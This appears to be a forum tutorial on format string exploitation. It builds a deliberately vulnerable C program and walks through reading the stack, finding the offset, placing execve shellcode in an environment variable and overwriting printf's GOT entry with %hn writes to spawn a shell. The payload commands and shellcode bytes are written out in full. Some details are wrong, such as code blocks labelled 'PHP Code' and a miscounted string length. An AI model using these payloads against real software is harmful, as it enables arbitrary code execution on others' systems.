![[Image: NQBUAGC.jpg]](https://i.imgur.com/NQBUAGC.jpg)
This tutorial assumes that you are not a total beginner at this. But even if you are, I will do my best to explain and hopefully you will understand all of it. This isn't something you can learn with just one tutorial though, or just with one example. It takes a lot of time and effort, don't forget that. I will also be covering how to actually get a shell since most tutorials that you can find exclude that.
Format string exploitation is advanced, yet less known method of exploit development. Buffer overflows are getting much more attention, and these little folks can be just as dangerous. So, what exactly is a format string? Format string is, as name suggests, a string which also contains special format identifiers which control the representation of data.
- %s
- %d
- %x
- %p
- %n
These are the most important ones that we will be working with. Now, let me help you grasp this better. Say that we have code like this:
PHP Code
<?php
char *variable = "something";
printf("Content of variable is %s\n", variable);
The first argument of printf() is the format string, and the second is the variable that we are using. This will return:
PHP Code
<?php
Content of variable is something
As you can see, %s allows us to read strings.
%d would allow us to read numbers from the stack, and we won't focus on it as much in this tutorial.
%x and %p print hex values and allow us to read from the stack. %p and %x are not much different. It's only their output that differs. %p gives clearer better looking output so we will use it instead of %x in this tutorial. %p is equal to 0x%08x. %x prints hex value without that 0x.
%n allows us to write into memory. This is extremely useful and without it we obviously couldn't get a shell.
Also, I'd like to note that printf is not the only function effected by this vulnerability. We also have:
- fprint
- snprintf
- vfprintf
- sprintf
- vprintf
- snprintf
- vsnprintf
This will make variable a equal to 6. That is the length of word 'Divine'.
Alright, with basics covered, let's get onto the actual vulnerability. First part, is reading from the stack.
Let's make our vulnerable file.
PHP Code
<?php
#include <stdio.h>
int main(int argc, char **argv)
{
char *hidden = "This string is hidden!\n";
printf(argv[1]);
}
Compile it.
PHP Code
<?php
gcc -o vuln vuln.c -mpreferred-stack-boundary=2
This very simple program takes user input and prints it out. We have no way of accessing variable 'hidden'. Or do we? What would happen if we used %s as our input? Nothing is stopping us from doing so, let's try it.
PHP Code
<?php
./vuln %s
And our output will be:
PHP Code
<?php
This string is hidden!
Alright, we've managed to read it. What if we had two strings and we wanted to read them? We would use %s%s.
PHP Code
<?php
#include <stdio.h>
int main(int argc, char **argv)
{
char *hidden = "This string is hidden!\n";
char *hidden2 = "This is also hidden!\n";
printf(argv[1]);
}
Our input would be:
PHP Code
<?php
./vuln %s%s
Output:
PHP Code
<?php
This string is hidden!
This is also hidden!
Very nice. Also, %X$s, where X is a number, reads Xth argument from the stack.Therefore, %3$s would read third argument as a string.
Now let me explain how %n works before we move on to actual overwriting and getting shellcode.
PHP Code
<?php
int var;
printf("Divine%n\n",&var);
printf("Value of var is %d\n",var);
'Divine' has six letters. It's length is five. So variable var will get assigned with value 6.
Alright, now on with the actual exploitation. We will be changing the source a little bit and adding some parts that are unnecessary for better understanding and seeing what's going on.
PHP Code
<?php
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[300];
static int var=0;
strncpy(buf, argv[1], sizeof buf);
printf(buf);
printf("\nVar is located at %p with val=%p\n", &var, var);
}
![[Image: firDazg.png]](https://i.imgur.com/firDazg.png)
As you can see, we are creating variable 'var'. Right now, it's empty. It's here only for debugging purposes. We are using strncpy() to copy content of user input into our buffer. This is a good way to parse input without having a buffer overflow vulnerability. Strncpy syntax is strncpy(destination, source, sizeof of destination). Then, we are printing out the location (%p, &var) and content (%p, var) of variable var. Why? Because we will be using format string vulnerability to override the content of 'var'. I know it sounds hard, but don't give up.
Let's do that right away.
First, we need to find the offset. "AAAA" takes exactly four bytes, which is enough to fill a full address. So, if we supply AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p as argv, it will return many things from the stack. We must see how deep in $esp our buffer lies. As we can see, at 8 '%p' it returns 0x41414141, which is hex representation of AAAA. Therefore, our offset is 8. Note it down, it's very important.
![[Image: NNqvaag.png]](https://i.imgur.com/NNqvaag.png)
We want to override the content of 'var', and it's address is 0x804a024. That is our destination. Remember it.
Now, let's store our shellcode in environment. Make a new c file:
PHP Code
<?php
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
char shellz[]=
"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
main(int argc, char *argv[]) {
setenv("shell", shellz,1);
system("bash");
}
Compile it.
PHP Code
<?php
gcc -o shell shell.c
This is a simple execve(), 25 byes long shell. You can use yours if you want instead. We put it in the environment with setenv().
Now we need to find it's address using getenv().
PHP Code
<?php
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p\n", getenv("shell"));
}
Compile it as well.
PHP Code
<?php
gcc -o get get.c
Now run.
PHP Code
<?php
./shell
./get
![[Image: lschgEI.png]](https://i.imgur.com/lschgEI.png)
Our shell address is at 0xbffffe27. Our destination is 0x804a024. Now, how in the world are we going to write an address to an address using %n? At first glance it seems impossible. But it isn't. I want you to listen carefully now, as this will get a bit tricky.
We will write two bytes at a time. Address consists of 4 bytes which is 2+2. By using $hn we can write two bytes and by using it again, the remaining two. But by using first two bytes the destination address will change, so the remaining to have to be put in a different address. It will be previous address+2(0x804a024+2=0x804a026).
But first, let's write anything into the address of our choice. Let's make that anything, four bytes. Four bytes is exactly how an address is long, so nothing else will be required! Make sure you use little endian order. That means that we are reversing the address.
PHP Code
<?php
./vuln `python -c 'print "\x24\xa0\x04\x08"'`%8\$n
8 is the offset that we've found before. As you can see, value of 'var' is now 0x4 which is four. That's how long the address itself was. Here comes the tricky part.
![[Image: xdq5noF.png]](https://i.imgur.com/xdq5noF.png)
Destination 1 : 0x804a024
Destination 2: 0x804a026
Content:(shell) 0xbffffe27
To sum it all up, we are writing fe27 to destination 1, and bfff to destination 2.
Now, keep in mind that we are writing two bytes at a time. Which means that we will take first two bytes, fe27 and convert them to decimal. You can use any hex to decimal converter that you want. Fe27 = 65063. That's what we're going to store. But remember how when we overridden the destination address at first. Var was was equal to 0x4. That's because it takes the length of that address into consideration too. So two destination addresses will be equal to 8 bytes.
So we've already stored two destination addresses which is eight bytes! Meaning that we have to subtract 8 from 65063, so we get 65055. This is amount of bytes that we have to store in order to get fe27. Let's try it!
PHP Code
<?php
./vuln `python -c 'print "\x24\xa0\x04\x08"+"\x26\xa0\x04\x08"'`%65055x%8\$hn
![[Image: 1Ia7tEe.png]](https://i.imgur.com/1Ia7tEe.png)
![[Image: xZLVQX0.png]](https://i.imgur.com/xZLVQX0.png)
As you can see, we've successfully overridden the first two bytes. Now come the second two, bfff. bfff is equal to 49151, which is less than what we've already written. lol. So what do we do? We use 1bfff instead. It is equal to 114687.
114687 minus 65063(which we have already written) is equal to 49624. That's what we're writing. But keep in mind that offset was 8, but now it had changed from 8 to 9. Run:
PHP Code
<?php
./vuln `python -c 'print "\x24\xa0\x04\x08"+"\x26\xa0\x04\x08"'`%65055x%8\$hn%49624x%9\$hn
![[Image: 3XbAxUL.png]](https://i.imgur.com/3XbAxUL.png)
![[Image: E1rAr3V.png]](https://i.imgur.com/E1rAr3V.png)
Awesome. We've successfully overridden our destination address with address of shellcode in environment. But what now? Most tutorials will tell you to override DTOR_END with your shellcode address and you could do that. To get DTOR_END address, you can do:
PHP Code
<?php
nm vuln
![[Image: boYrUcB.png]](https://i.imgur.com/boYrUcB.png)
DTOR_END didn't give me best results as it was read only, whilst printf() was both readable and writeable.
But for the sake of being different, we'll use GOT entry of printf() instead. Let's get it. Keep in mind that the function must be called after the vulnerable function.
PHP Code
<?php
readelf -r vuln
![[Image: 7OrK9lo.png]](https://i.imgur.com/7OrK9lo.png)
It's 0804a00c. That is our new destination.
Destination 1: 0x804a00c
Destination 2: 0x804a00e (0804a00c+2=0804a00e)
Content(shell) 0xbffffe27
We've already managed to write that address to 'val', so just by changing destination, we will manage to pull this off as well.
PHP Code
<?php
./vuln `python -c 'print "\x0c\xa0\x04\x08"+"\x0e\xa0\x04\x08"'`%65055x%8\$hn%49624x%9\$hn
![[Image: FjFVQW6.png]](https://i.imgur.com/FjFVQW6.png)
![[Image: sgi9vWI.png]](https://i.imgur.com/sgi9vWI.png)
Good. Let's try with different shellcode.
![[Image: 995sfuA.png]](https://i.imgur.com/995sfuA.png)


![[Image: CJLOhGd.gif]](https://i.imgur.com/CJLOhGd.gif)

![[Image: 0ZYE44T.jpg]](https://i.imgur.com/0ZYE44T.jpg)